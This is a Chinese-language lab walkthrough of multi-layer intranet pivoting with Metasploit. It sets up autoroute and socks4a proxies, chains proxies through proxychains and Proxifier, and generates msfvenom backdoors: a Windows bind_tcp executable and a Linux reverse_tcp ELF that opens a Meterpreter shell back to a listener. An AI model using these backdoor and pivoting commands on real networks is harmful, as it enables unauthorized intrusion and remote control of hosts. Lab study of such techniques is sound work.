网络拓扑图如下
假设已经拿到了跳板机B的权限
其中A、B、C为windows D为linux服务器
ipconfig发现存在两张网卡
192.168.31.60
192.168.3.31
在kali(A主机)meterpreter 中添加去往 192.168.3.0网段的路由并且启动socks4a代理
meterpreter > run autoroute -s 192.168.3.0/24 #添加路由
meterpreter > run autoroute -p #查看路由
msf6 exploit(multi/handler) > use auxiliary/server/socks4a #使用socks4a协议并运行
注:socks4a在msf中默认远端端口为1080端口,故在/etc/proxychains.conf 也要设置为1080端口
vi /etc/proxychains.conf
添加 socks4 192.168.31.31 1080
成功访问第二层网络
msf配合Proxifier实现内网穿透
在本机连接kali的1080端口(socks4a)
本机通过Proxifier成功访问第二层网络(C主机)
制作后门穿透第三层网络(正向连接)
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4321 -f exe -o 4321.exe
注:C主机监听4321端口,B主机主动连接C主机。
use exploit/multi/handler
连接C主机的ip 192.168.3.3
成功得到会话
ipconfig发现存在两张网卡
192.168.3.3
10.10.10.1
添加去往 192.168.3.0网段的路由并且启动socks4a代理
meterpreter > run autoroute -s 10.10.10.0/24 #添加路由
meterpreter > run autoroute -p #查看路由
msf6 exploit(multi/handler) > use auxiliary/server/socks4a #使用socks4a协议并运行
设置socks4a端口为9999
vi /etc/proxychains.conf
添加 socks4 192.168.31.31 9999
proxychains curl http://10.10.10.2/ip.txt
可以看到代理经过了192.168.31.31:1080->192.168.31.31:9999成功访问第三层网络的主机 10.10.10.2
本机访问也可以访问到第三层网络
生成一个反向后门(因为D主机为linux,故生成一个elf格式的后门)
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost 10.10.10.1 lport=1234 -f elf -o 123.elf
监听 linux/x86/meterpreter/reverse_tcp
在D主机上执行后门
chmod +x 123.elf
./123.elf
10.0.0.2(D主机)成功上线